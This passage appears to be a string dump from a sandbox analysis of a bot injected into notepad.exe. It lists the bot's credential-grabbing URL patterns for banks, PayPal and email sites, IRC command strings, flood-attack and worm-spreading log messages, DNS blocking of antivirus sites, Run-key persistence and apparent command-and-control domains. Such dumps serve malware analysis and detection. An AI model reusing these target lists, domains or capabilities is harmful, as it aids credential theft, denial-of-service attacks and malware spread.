"%S" from removing our bot file!</pre><pre>i.root-servers.org</pre><pre>%s.Blocked "%s" from moving our bot file</pre><pre>%s.Blocked "%S" from moving our bot file</pre><pre>%s.p10-> Message hijacked!</pre><pre>%s.p10-> Message to %s hijacked!</pre><pre>%s.p21-> Message hijacked!</pre><pre>msnmsg</pre><pre>CAL %d %6s</pre><pre>ngr->blocksize: %d</pre><pre>block_size: %d</pre><pre>\\.\pipe\%s</pre><pre>%s_%d</pre><pre>-%sMutex</pre><pre>%s-pid</pre><pre>%s-comm</pre><pre>JOIN #</pre><pre>PRIVMSG #</pre><pre>%s.Blocked "%S" from creating "%S"</pre><pre>%s.Blocked "%S" from creating "%S" - "%s" will be removed at reboot!</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d.</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d (Target: %s).</pre><pre>PRIVMSG %5s</pre><pre>JOIN %5s</pre><pre>PRIVMSG</pre><pre>JOIN</pre><pre>%s:%d</pre><pre>%s.%s%s</pre><pre>%S%s%s</pre><pre>%s.%S%S</pre><pre>%S%S%S</pre><pre>state_%s</pre><pre>%s.%s (p='%S')</pre><pre>pop3://%s:%s@%s:%d</pre><pre>%s:%s@%s:%d</pre><pre>ftp://%s:%s@%s:%d</pre><pre>ftpgrab</pre><pre>%s.%s ->> %s (%s : %s)</pre><pre>%s.%s ->> %s : %s</pre><pre>%s-%s-%s</pre><pre>%s.Blocked possible browser exploit pack call on URL '%s'</pre><pre>%s.Blocked possible browser exploit pack call on URL '%S'</pre><pre>webroot.</pre><pre>virusbuster.nprotect.</pre><pre>heck.tc</pre><pre>onecare.live.</pre><pre>login[password]</pre><pre>login[username]</pre><pre>*members*.iknowthatgirl*/members*</pre><pre>*youporn.*/login*</pre><pre>*members.brazzers.com*</pre><pre>*bcointernacional*login*</pre><pre>*:2222/CMD_LOGIN*</pre><pre>*whcms*dologin*</pre><pre>*:2086/login*</pre><pre>*:2083/login*</pre><pre>*:2082/login*</pre><pre>*webnames.ru/*user_login*</pre><pre>Webnames</pre><pre>*dotster.com/*login*</pre><pre>loginid</pre><pre>*enom.com/login*</pre><pre>login.Pass</pre><pre>login.User</pre><pre>*login.Pass=*</pre><pre>*1and1.com/xml/config*</pre><pre>*moniker.com/*Login*</pre><pre>LoginPassword</pre><pre>LoginUserName</pre><pre>*LoginPassword=*</pre><pre>*namecheap.com/*login*</pre><pre>loginname</pre><pre>*godaddy.com/login*</pre><pre>Password</pre><pre>*Password=*</pre><pre>*alertpay.com/login*</pre><pre>*netflix.com/*ogin*</pre><pre>*thepiratebay.org/login*</pre><pre>*torrentleech.org/*login*</pre><pre>*vip-file.com/*/signin-do*</pre><pre>*sms4file.com/*/signin-do*</pre><pre>*letitbit.net*</pre><pre>*what.cd/login*</pre><pre>*oron.com/login*</pre><pre>*filesonic.com/*login*</pre><pre>*speedyshare.com/login*</pre><pre>*uploaded.to/*login*</pre><pre>*uploading.com/*login*</pre><pre>loginUserPassword</pre><pre>loginUserName</pre><pre>*loginUserPassword=*</pre><pre>*fileserv.com/login*</pre><pre>*hotfile.com/login*</pre><pre>*4shared.com/login*</pre><pre>txtpass</pre><pre>*txtpass=*</pre><pre>*netload.in/index*</pre><pre>*freakshare.com/login*</pre><pre>login_pass</pre><pre>*login_pass=*</pre><pre>*mediafire.com/*login*</pre><pre>*sendspace.com/login*</pre><pre>*megaupload.*/*login*</pre><pre>*depositfiles.*/*/login*</pre><pre>*signin.ebay*SignIn</pre><pre>*officebanking.cl/*login.asp*</pre><pre>*secure.logmein.*/*logincheck*</pre><pre>session[password]</pre><pre>*password]=*</pre><pre>*twitter.com/sessions</pre><pre>txtPassword</pre><pre>*&txtPassword=*</pre><pre>*.moneybookers.*/*login.pl</pre><pre>*runescape*/*weblogin*</pre><pre>*&password=*</pre><pre>*no-ip*/login*</pre><pre>*steampowered*/login*</pre><pre>quick_password</pre><pre>*hackforums.*/member.php</pre><pre>*facebook.*/login.php*</pre><pre>*login.yahoo.*/*login*</pre><pre>passwd</pre><pre>login</pre><pre>*passwd=*</pre><pre>*login.live.*/*post.srf*</pre><pre>TextfieldPassword</pre><pre>*TextfieldPassword=*</pre><pre>*gmx.*/*FormLogin*</pre><pre>*Passwd=*</pre><pre>FLN-Password</pre><pre>*FLN-Password=*</pre><pre>*pass=*</pre><pre>*bigstring.*/*index.php*</pre><pre>*screenname.aol.*/login.psp*</pre><pre>password</pre><pre>loginId</pre><pre>*password=*</pre><pre>*aol.*/*login.psp*</pre><pre>Passwd</pre><pre>*google.*/*ServiceLoginAuth*</pre><pre>login_password</pre><pre>login_email</pre><pre>*login_password=*</pre><pre>*paypal.*/webscr?cmd=_login-submit*</pre><pre>%s / ?%d HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: %s</pre><pre>Mozilla/4.0</pre><pre>\\.\PHYSICALDRIVE0</pre><pre>httpi</pre><pre>dnsapi.dll</pre><pre>http://%s/%s</pre><pre>http://%s/</pre><pre>POST /23s</pre><pre>[%s{%s%s{%s</pre><pre>n%s[%s{%s%s{%s</pre><pre>%s[%s{%s</pre><pre>[DNS]: Redirecting "%s" to "%s"</pre><pre>%s|%s</pre><pre>[Logins]: Cleared %d logins</pre><pre>FTP -></pre><pre>[d="%s" s="%d bytes"] Download error: MD5 mismatch (%s != %s)</pre><pre>http://</pre><pre>[Login]: %s</pre><pre>[DNS]: Blocked %d domain(s) - Redirected %d domain(s)</pre><pre>[Speed]: Estimated upload speed %d KB/s</pre><pre>\\.\%c:</pre><pre>*bebo.*/c/profile/comment_post.json</pre><pre>*bebo.*/mail/MailCompose.jsp*</pre><pre>*friendster.*/sendmessage.php*</pre><pre>*friendster.*/rpc.php</pre><pre>*vkontakte.ru/mail.php</pre><pre>*vkontakte.ru/wall.php</pre><pre>*vkontakte.ru/api.php</pre><pre>*facebook.*/ajax/*MessageComposerEndpoint.php*</pre><pre>msg_text</pre><pre>*facebook.*/ajax/chat/send.php*</pre><pre>-_.!~*'()</pre><pre>%s.%s hijacked!</pre><pre>MSG %d %s %d</pre><pre>MSG %d %1s</pre><pre>SDG %d %d</pre><pre>Content-Length: %d</pre><pre>SDG %d</pre><pre>%s_0xX</pre><pre>RegCreateKeyExW</pre><pre>URLDownloadToFileW</pre><pre>HttpSendRequestW</pre><pre>HttpSendRequestA</pre><pre>NtEnumerateValueKey</pre><pre>Secur32.dll</pre><pre>ShellExecuteA</pre><pre>HttpQueryInfoA</pre><pre>InternetOpenUrlA</pre><pre>HttpQueryInfoW</pre><pre>WININET.dll</pre><pre>WS2_32.dll</pre><pre>MSVCRT.dll</pre><pre>ConnectNamedPipe</pre><pre>CreateNamedPipeA</pre><pre>DisconnectNamedPipe</pre><pre>GetWindowsDirectoryW</pre><pre>RegNotifyChangeKeyValue</pre><pre>PASS %s</pre><pre>[.ShellClassInfo]</pre><pre>CLSID={645FF040-5081-101B-9F08-00AA002F954E}</pre><pre>SSRR %s 0 0 :%s</pre><pre>KCIK %s</pre><pre>SEND %s %s</pre><pre>PART %s</pre><pre>PPPPMSG %s :%s</pre><pre>QUIT :%s</pre><pre>PPNG %s</pre><pre>PPPPMSG</pre><pre>[v="%s" c="%s" h="%s" p="%S"]</pre><pre>[d="%s" s="%d bytes"] Updated bot file "%S" - Download retries: %d</pre><pre>[d="%s" s="%d bytes"] Executed file "%S" - Download retries: %d</pre><pre>[Slowloris]: Starting flood on "%s" for %d minute(s)</pre><pre>[Slowloris]: Finished flood on "%s"</pre><pre>[UDP]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[UDP]: Finished flood on "%s:%d"</pre><pre>[SYN]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[SYN]: Finished flood on "%s:%d"</pre><pre>[USB]: Infected %s</pre><pre>[MSN]: Updated MSN spread message to "%s"</pre><pre>[MSN]: Updated MSN spread interval to "%s"</pre><pre>[HTTP]: Updated HTTP spread message to "%s"</pre><pre>[HTTP]: Injected value is now %s.</pre><pre>[HTTP]: Updated HTTP spread interval to "%s"</pre><pre>[Visit]: Visited "%s"</pre><pre>[DNS]: Blocked "%s"</pre><pre>[usb="%d" msn="%d" http="%d" total="%d"]</pre><pre>[ftp="%d" pop="%d" http="%d" total="%d"]</pre><pre>[RSOCK4]: Started rsock4 on "%s:%d"</pre><pre>[d="%s" s="%d bytes"] Update error: MD5 mismatch (%s != %s)</pre><pre>[d="%s"] Error downloading file [e="%d"]</pre><pre>[d="%s"] Error writing download to "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] Error creating process "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] File "%S" has an invalid binary type. [type="%d"]</pre><pre>[d="%s"] Error getting temporary filename. [e="%d"]</pre><pre>[d='%s"] Error getting application data path [e="%d"]</pre><pre>[Visit]: Error visitng "%s"</pre><pre>[FTP Login]: %s</pre><pre>[POP3 Login]: %s</pre><pre>[FTP Infect]: %s was iframed</pre><pre>[HTTP Login]: %s</pre><pre>[HTTP Traffic]: %s</pre><pre>[Ruskill]: Detected File: "%s"</pre><pre>[Ruskill]: Detected DNS: "%s"</pre><pre>[Ruskill]: Detected Reg: "%s"</pre><pre>[PDef ]: %s</pre><pre>[DNS]: Blocked DNS "%s"</pre><pre>[MSN]: %s</pre><pre>[HTTP]: %s</pre><pre>ftplog</pre><pre>ftpinfect</pre><pre>httplogin</pre><pre>httptraff</pre><pre>httpspread</pre><pre>http://api.wipmania.com/</pre><pre>\\.\pipe\x_ipc</pre><pre>7 767<7~7</pre><pre>8*808;8~8</pre><pre>{A5DCBF10-6530-11D2-901F-00C04FB951ED}</pre><pre>shlwapi.dll</pre><pre>crypt32.dll</pre><pre>wtsapi32.dll</pre><pre>samcli.dll</pre><pre>netutils.dll</pre><pre>userenv.dll</pre><pre>WindowsSecondaryDesktop</pre><pre>\charmap.exe</pre><pre>\Windows Media Player\wmprph.exe</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ngggg.exe</pre><pre>%s\Identities\%s.exe</pre><pre>\\.\pipe</pre><pre>autorun.inf</pre><pre>pidgin.exe</pre><pre>wlcomm.exe</pre><pre>msnmsgr.exe</pre><pre>msmsgs.exe</pre><pre>flock.exe</pre><pre>opera.exe</pre><pre>chrome.exe</pre><pre>ieuser.exe</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>.ipconfig.exe</pre><pre>verclsid.exe</pre><pre>regedit.exe</pre><pre>rundll32.exe</pre><pre>cmd.exe</pre><pre>regsvr32.exe</pre><pre>l"%s" %S</pre><pre>lol.exe</pre><pre>n127.0.0.1</pre><pre>%s:Zone.Identifier</pre><pre>secur32.dll</pre><pre>ws2_32.dll</pre><pre>:%S%S\</pre><pre>winlogon.exe</pre><pre>Aadvapi32.dll</pre><pre>nspr4.dll</pre><pre>Akernel23.dll</pre><pre>y%s\%s.exe</pre><pre>lsass.exe</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\System</pre><pre>.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run</pre><b>notepad.exe_304_rwx_008B0000_0004E000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.reloc</pre><pre>=MSG t</pre><pre>>MSG u`</pre><pre>=PASS</pre><pre>8httpu1</pre><pre>8httpuM</pre><pre>tlSSSSSSSSSShL0</pre><pre>%s.%s</pre><pre>%s.%S</pre><pre>%s.Blocked "%s" from removing our bot file!</pre><pre>%s.Blocked "%S" from removing our bot file!</pre><pre>i.root-servers.org</pre><pre>%s.Blocked "%s" from moving our bot file</pre><pre>%s.Blocked "%S" from moving our bot file</pre><pre>%s.p10-> Message hijacked!</pre><pre>%s.p10-> Message to %s hijacked!</pre><pre>%s.p21-> Message hijacked!</pre><pre>msnmsg</pre><pre>CAL %d %6s</pre><pre>ngr->blocksize: %d</pre><pre>block_size: %d</pre><pre>\\.\pipe\%s</pre><pre>kernel32.dll</pre><pre>%s_%d</pre><pre>-%sMutex</pre><pre>ntdll.dll</pre><pre>%s-pid</pre><pre>%s-comm</pre><pre>JOIN #</pre><pre>PRIVMSG #</pre><pre>%s.Blocked "%S" from creating "%S"</pre><pre>%s.Blocked "%S" from creating "%S" - "%s" will be removed at reboot!</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d.</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d (Target: %s).</pre><pre>PRIVMSG %5s</pre><pre>JOIN %5s</pre><pre>PRIVMSG</pre><pre>JOIN</pre><pre>%s:%d</pre><pre>%s.%s%s</pre><pre>%S%s%s</pre><pre>%s.%S%S</pre><pre>%S%S%S</pre><pre>state_%s</pre><pre>%s.%s (p='%S')</pre><pre>pop3://%s:%s@%s:%d</pre><pre>%s:%s@%s:%d</pre><pre>ftp://%s:%s@%s:%d</pre><pre>ftpgrab</pre><pre>%s.%s ->> %s (%s : %s)</pre><pre>%s.%s ->> %s : %s</pre><pre>%s-%s-%s</pre><pre>%s.Blocked possible browser exploit pack call on URL '%s'</pre><pre>%s.Blocked possible browser exploit pack call on URL '%S'</pre><pre>webroot.</pre><pre>virusbuster.nprotect.</pre><pre>heck.tc</pre><pre>onecare.live.</pre><pre>login[password]</pre><pre>login[username]</pre><pre>*members*.iknowthatgirl*/members*</pre><pre>*youporn.*/login*</pre><pre>*members.brazzers.com*</pre><pre>*bcointernacional*login*</pre><pre>*:2222/CMD_LOGIN*</pre><pre>*whcms*dologin*</pre><pre>*:2086/login*</pre><pre>*:2083/login*</pre><pre>*:2082/login*</pre><pre>*webnames.ru/*user_login*</pre><pre>Webnames</pre><pre>*dotster.com/*login*</pre><pre>loginid</pre><pre>*enom.com/login*</pre><pre>login.Pass</pre><pre>login.User</pre><pre>*login.Pass=*</pre><pre>*1and1.com/xml/config*</pre><pre>*moniker.com/*Login*</pre><pre>LoginPassword</pre><pre>LoginUserName</pre><pre>*LoginPassword=*</pre><pre>*namecheap.com/*login*</pre><pre>loginname</pre><pre>*godaddy.com/login*</pre><pre>Password</pre><pre>*Password=*</pre><pre>*alertpay.com/login*</pre><pre>*netflix.com/*ogin*</pre><pre>*thepiratebay.org/login*</pre><pre>*torrentleech.org/*login*</pre><pre>*vip-file.com/*/signin-do*</pre><pre>*sms4file.com/*/signin-do*</pre><pre>*letitbit.net*</pre><pre>*what.cd/login*</pre><pre>*oron.com/login*</pre><pre>*filesonic.com/*login*</pre><pre>*speedyshare.com/login*</pre><pre>*uploaded.to/*login*</pre><pre>*uploading.com/*login*</pre><pre>loginUserPassword</pre><pre>loginUserName</pre><pre>*loginUserPassword=*</pre><pre>*fileserv.com/login*</pre><pre>*hotfile.com/login*</pre><pre>*4shared.com/login*</pre><pre>txtpass</pre><pre>*txtpass=*</pre><pre>*netload.in/index*</pre><pre>*freakshare.com/login*</pre><pre>login_pass</pre><pre>*login_pass=*</pre><pre>*mediafire.com/*login*</pre><pre>*sendspace.com/login*</pre><pre>*megaupload.*/*login*</pre><pre>*depositfiles.*/*/login*</pre><pre>*signin.ebay*SignIn</pre><pre>*officebanking.cl/*login.asp*</pre><pre>*secure.logmein.*/*logincheck*</pre><pre>session[password]</pre><pre>*password]=*</pre><pre>*twitter.com/sessions</pre><pre>txtPassword</pre><pre>*&txtPassword=*</pre><pre>*.moneybookers.*/*login.pl</pre><pre>*runescape*/*weblogin*</pre><pre>*&password=*</pre><pre>*no-ip*/login*</pre><pre>*steampowered*/login*</pre><pre>quick_password</pre><pre>*hackforums.*/member.php</pre><pre>*facebook.*/login.php*</pre><pre>*login.yahoo.*/*login*</pre><pre>passwd</pre><pre>login</pre><pre>*passwd=*</pre><pre>*login.live.*/*post.srf*</pre><pre>TextfieldPassword</pre><pre>*TextfieldPassword=*</pre><pre>*gmx.*/*FormLogin*</pre><pre>*Passwd=*</pre><pre>FLN-Password</pre><pre>*FLN-Password=*</pre><pre>*pass=*</pre><pre>*bigstring.*/*index.php*</pre><pre>*screenname.aol.*/login.psp*</pre><pre>password</pre><pre>loginId</pre><pre>*password=*</pre><pre>*aol.*/*login.psp*</pre><pre>Passwd</pre><pre>*google.*/*ServiceLoginAuth*</pre><pre>login_password</pre><pre>login_email</pre><pre>*login_password=*</pre><pre>*paypal.*/webscr?cmd=_login-submit*</pre><pre>%s / ?%d HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: %s</pre><pre>Mozilla/4.0</pre><pre>\\.\PHYSICALDRIVE0</pre><pre>shell32.dll</pre><pre>httpi</pre><pre>dnsapi.dll</pre><pre>http://%s/%s</pre><pre>http://%s/</pre><pre>POST /23s</pre><pre>[%s{%s%s{%s</pre><pre>n%s[%s{%s%s{%s</pre><pre>%s[%s{%s</pre><pre>[DNS]: Redirecting "%s" to "%s"</pre><pre>%s|%s</pre><pre>[Logins]: Cleared %d logins</pre><pre>FTP -></pre><pre>[d="%s" s="%d bytes"] Download error: MD5 mismatch (%s != %s)</pre><pre>http://</pre><pre>[Login]: %s</pre><pre>[DNS]: Blocked %d domain(s) - Redirected %d domain(s)</pre><pre>[Speed]: Estimated upload speed %d KB/s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\\.\%c:</pre><pre>*bebo.*/c/profile/comment_post.json</pre><pre>*bebo.*/mail/MailCompose.jsp*</pre><pre>*friendster.*/sendmessage.php*</pre><pre>*friendster.*/rpc.php</pre><pre>*vkontakte.ru/mail.php</pre><pre>*vkontakte.ru/wall.php</pre><pre>*vkontakte.ru/api.php</pre><pre>*facebook.*/ajax/*MessageComposerEndpoint.php*</pre><pre>msg_text</pre><pre>*facebook.*/ajax/chat/send.php*</pre><pre>-_.!~*'()</pre><pre>%s.%s hijacked!</pre><pre>MSG %d %s %d</pre><pre>MSG %d %1s</pre><pre>SDG %d %d</pre><pre>Content-Length: %d</pre><pre>SDG %d</pre><pre>%s_0xX</pre><pre>RegCreateKeyExW</pre><pre>RegCreateKeyExA</pre><pre>URLDownloadToFileW</pre><pre>URLDownloadToFileA</pre><pre>HttpSendRequestW</pre><pre>HttpSendRequestA</pre><pre>NtEnumerateValueKey</pre><pre>DNSAPI.dll</pre><pre>Secur32.dll</pre><pre>ShellExecuteA</pre><pre>SHELL32.dll</pre><pre>HttpQueryInfoA</pre><pre>InternetOpenUrlA</pre><pre>HttpQueryInfoW</pre><pre>WININET.dll</pre><pre>SHLWAPI.dll</pre><pre>WS2_32.dll</pre><pre>MSVCRT.dll</pre><pre>GetProcessHeap</pre><pre>ConnectNamedPipe</pre><pre>CreateNamedPipeA</pre><pre>DisconnectNamedPipe</pre><pre>GetWindowsDirectoryW</pre><pre>GetWindowsDirectoryA</pre><pre>KERNEL32.dll</pre><pre>USER32.dll</pre><pre>RegCloseKey</pre><pre>RegNotifyChangeKeyValue</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.dll</pre><pre>ole32.dll</pre><pre>m1xg.org</pre><pre>mxxtxxt.biz</pre><pre>meob.me</pre><pre>]1.1.0.0</pre><pre>msn.set</pre><pre>msn.int</pre><pre>http.set</pre><pre>http.int</pre><pre>http.inj</pre><pre>logins</pre><pre>PASS %s</pre><pre>[.ShellClassInfo]</pre><pre>CLSID={645FF040-5081-101B-9F08-00AA002F954E}</pre><pre>SSRR %s 0 0 :%s</pre><pre>KCIK %s</pre><pre>SEND %s %s</pre><pre>PART %s</pre><pre>PPPPMSG %s :%s</pre><pre>QUIT :%s</pre><pre>PPNG %s</pre><pre>PPPPMSG</pre><pre>[v="%s" c="%s" h="%s" p="%S"]</pre><pre>[d="%s" s="%d bytes"] Updated bot file "%S" - Download retries: %d</pre><pre>[d="%s" s="%d bytes"] Executed file "%S" - Download retries: %d</pre><pre>[Slowloris]: Starting flood on "%s" for %d minute(s)</pre><pre>[Slowloris]: Finished flood on "%s"</pre><pre>[UDP]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[UDP]: Finished flood on "%s:%d"</pre><pre>[SYN]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[SYN]: Finished flood on "%s:%d"</pre><pre>[USB]: Infected %s</pre><pre>[MSN]: Updated MSN spread message to "%s"</pre><pre>[MSN]: Updated MSN spread interval to "%s"</pre><pre>[HTTP]: Updated HTTP spread message to "%s"</pre><pre>[HTTP]: Injected value is now %s.</pre><pre>[HTTP]: Updated HTTP spread interval to "%s"</pre><pre>[Visit]: Visited "%s"</pre><pre>[DNS]: Blocked "%s"</pre><pre>[usb="%d" msn="%d" http="%d" total="%d"]</pre><pre>[ftp="%d" pop="%d" http="%d" total="%d"]</pre><pre>[RSOCK4]: Started rsock4 on "%s:%d"</pre><pre>[d="%s" s="%d bytes"] Update error: MD5 mismatch (%s != %s)</pre><pre>[d="%s"] Error downloading file [e="%d"]</pre><pre>[d="%s"] Error writing download to "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] Error creating process "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] File "%S" has an invalid binary type. [type="%d"]</pre><pre>[d="%s"] Error getting temporary filename. [e="%d"]</pre><pre>[d='%s"] Error getting application data path [e="%d"]</pre><pre>[Visit]: Error visitng "%s"</pre><pre>[FTP Login]: %s</pre><pre>[POP3 Login]: %s</pre><pre>[FTP Infect]: %s was iframed</pre><pre>[HTTP Login]: %s</pre><pre>[HTTP Traffic]: %s</pre><pre>[Ruskill]: Detected File: "%s"</pre><pre>[Ruskill]: Detected DNS: "%s"</pre><pre>[Ruskill]: Detected Reg: "%s"</pre><pre>[PDef ]: %s</pre><pre>[DNS]: Blocked DNS "%s"</pre><pre>[MSN]: %s</pre><pre>[HTTP]: %s</pre><pre>ftplog</pre><pre>ftpinfect</pre><pre>httplogin</pre><pre>httptraff</pre><pre>httpspread</pre><pre>http://api.wipmania.com/</pre><pre>\\.\pipe\x_ipc</pre><pre>\\.\pipe\c1419a97</pre><pre>%System%\notepad.exe</pre><pre>%WinDir%</pre><pre>%Documents and Settings%\%current user%\Application Data\Identities\Uukmkg.exe</pre><pre>7 767<7~7</pre><pre>8*808;8~8</pre><pre>%s\Identities\%s.exe</pre><pre>\\.\pipe</pre><pre>autorun.inf</pre><pre>pidgin.exe</pre><pre>wlcomm.exe</pre><pre>msnmsgr.exe</pre><pre>msmsgs.exe</pre><pre>flock.exe</pre><pre>opera.exe</pre><pre>chrome.exe</pre><pre>ieuser.exe</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>.ipconfig.exe</pre><pre>verclsid.exe</pre><pre>regedit.exe</pre><pre>rundll32.exe</pre><pre>cmd.exe</pre><pre>regsvr32.exe</pre><pre>l"%s" %S</pre><pre>lol.exe</pre><pre>n127.0.0.1</pre><pre>%s:Zone.Identifier</pre><pre>wininet.dll</pre><pre>secur32.dll</pre><pre>ws2_32.dll</pre><pre>:%S%S\</pre><pre>winlogon.exe</pre><pre>notepad.exe</pre><pre>Aadvapi32.dll</pre><pre>urlmon.dll</pre><pre>nspr4.dll</pre><pre>Akernel23.dll</pre><pre>y%s\%s.exe</pre><pre>lsass.exe</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\System</pre><pre>.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\Device\HarddiskVolume1\WINDOWS\system32\notepad.exe</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ngggg.exe</pre><b>notepad.exe_304_rwx_00CF0000_00027000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.rsrc</pre><pre>@.reloc</pre><pre>PSSSSSSh</pre><pre>PSSVSSh</pre><pre>RPVSSh</pre><pre>PSSh(</pre><pre>PSSh#</pre><pre>PSSh'</pre><pre>PSSh&</pre><pre>PSSh*</pre><pre>9p.uV</pre><b>notepad.exe_304_rwx_00D18000_00074000:</b><pre>Opera/9.00 (Windows NT 5.1; U; en)</pre><pre>Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)</pre><pre>Mozilla/4.0 (compatible; MSIE 6.01; Windows NT 6.0)</pre><pre>Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2)</pre><pre>Opera 9.4 (Windows NT 6.1; U; en)</pre><pre>Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)</pre><pre>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; NeosBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)</pre><pre>Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; InfoPath.2</pre><pre>Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8</pre><pre>Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11</pre><pre>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)</pre><pre>Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50726)</pre><pre>SbieDll.dll</pre><pre>Software\Classes\CLSID\%s\X</pre><pre>Software\Classes\CLSID\%s\X\%s</pre><pre>0xX</pre><pre>SB:0xX</pre><pre>G:%s_0xX_%c:%s_v1$</pre><pre>Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u</pre><pre>IEXPLORE.EXE</pre><pre>IE.HTTP</pre><pre>SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice</pre><pre>IE.HTTPS</pre><pre>SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm\UserChoice</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.html\UserChoice</pre><pre>IE.AssocFile.HTM</pre><pre>HTTP\shell\open\command</pre><pre>Software\Microsoft\Windows\CurrentVersion\Ext\Settings\%s</pre><pre>Psapi.dll</pre><pre>%s\%s</pre><pre>Software\Adobe\Acrobat Reader\%s\Privileged</pre><pre>mscoree.dll</pre><pre>HARDWARE\DESCRIPTION\System\CentralProcessor\%u</pre><pre>SOFTWARE\Microsoft\Windows NT\CurrentVersion</pre><pre>nspr4.dll</pre><pre>nss3.dll</pre><pre>Urlmon.dll</pre><pre>URLDownloadToFileW</pre><pre>Netapi32.dll</pre><pre>76487-640-1457236-23837</pre><pre>76487-337-8429955-22614</pre><pre>76487-644-3177037-23510</pre><pre>76497-640-6308873-23835</pre><pre>55274-640-2673064-23950</pre><pre>76487-640-8834005-23195</pre><pre>76487-640-0716662-23535</pre><pre>76487-644-8648466-23106</pre><pre>00426-293-8170032-85146</pre><pre>76487-341-5883812-22420</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsBackup</pre><pre>{8E5E2654-AD2D-48BF-AC2D-D17F00898D06}</pre><pre>snxhk.dll</pre><pre>comctl32.dll</pre><pre>ZwSetValueKey</pre><pre>ZwDeleteValueKey</pre><pre>SOFTWARE\%s</pre><pre>update.microsoft.com</pre><pre>microsoft.com</pre><pre>windowsupdate.microsoft.com</pre><pre>JOIN</pre><pre>PRIVMSG</pre><pre>.rdata</pre><pre>cmd_option.%s</pre><pre>/c %s</pre><pre>cmd.exe</pre><pre>msvcrt.dll</pre><pre>--x-x-x-xx</pre><pre>Content-Type: multipart/form-data; boundary=x-x-x-xx</pre><pre>Content-Disposition: multipart/form-data; name="newfile"; filename="%d.jpeg"</pre><pre>%s?action=up&g=%s</pre><pre>xul.dll</pre><pre><Port></Port></pre><pre><Pass></Pass></pre><pre>Content-Type: application/x-www-form-urlencoded</pre><pre>HTTP/1.1</pre><pre>?pid=%d</pre><pre>?page=%d</pre><pre>?id=%u</pre><pre>%s=%u&%s=%s</pre><pre>%s=%s&%s=%u</pre><pre>&%s=%s</pre><pre>&%s%u=</pre><pre>&%s%hu=</pre><pre>&%s=_%u</pre><pre>%d|%s|%s|%s</pre><pre>.info</pre><pre>httpget</pre><pre>GET /%s HTTP/1.1</pre><pre>Host: %s</pre><pre>Content-Length: %d</pre><pre>Accept: %s</pre><pre>Accept-Language: %s</pre><pre>Accept-Charset: %s</pre><pre>Accept-Encoding: %s</pre><pre>User-Agent: %s</pre><pre>Referer: %s</pre><pre>Connection: %s</pre><pre>http://</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>tbb-firefox.exe</pre><pre>%s:%hu</pre><pre>windowsupdate</pre><pre>SSH2_MSG_KEXINIT</pre><pre>SSH2_MSG_DISCONNECT</pre><pre>SSH2_MSG_USERAUTH_SUCCESS</pre><pre>http://%s%s/image.php?id=%s</pre><pre>TaskDialogIndirect</pre><pre>http://answers.microsoft.com/en-us/windows/forum/windows_vista-windows_programs/corrupted-documents-folder/e2a7660f-8eea-4f27-b2e6-e77a0f0c1535</pre><pre>ÐxX</pre><pre>ntdll.dll</pre><pre>kernel32.dll</pre><pre>secur32.dll</pre><pre>crypt32.dll</pre><pre>user32.dll</pre><pre>advapi32.dll</pre><pre>wininet.dll</pre><pre>shell32.dll</pre><pre>shlwapi.dll</pre><pre>ole32.dll</pre><pre>version.dll</pre><pre>sfc.dll</pre><pre>dnsapi.dll</pre><pre>ws2_32.dll</pre><pre><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></pre><pre><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity></pre><pre>8"808]9|9</pre><pre>9%9 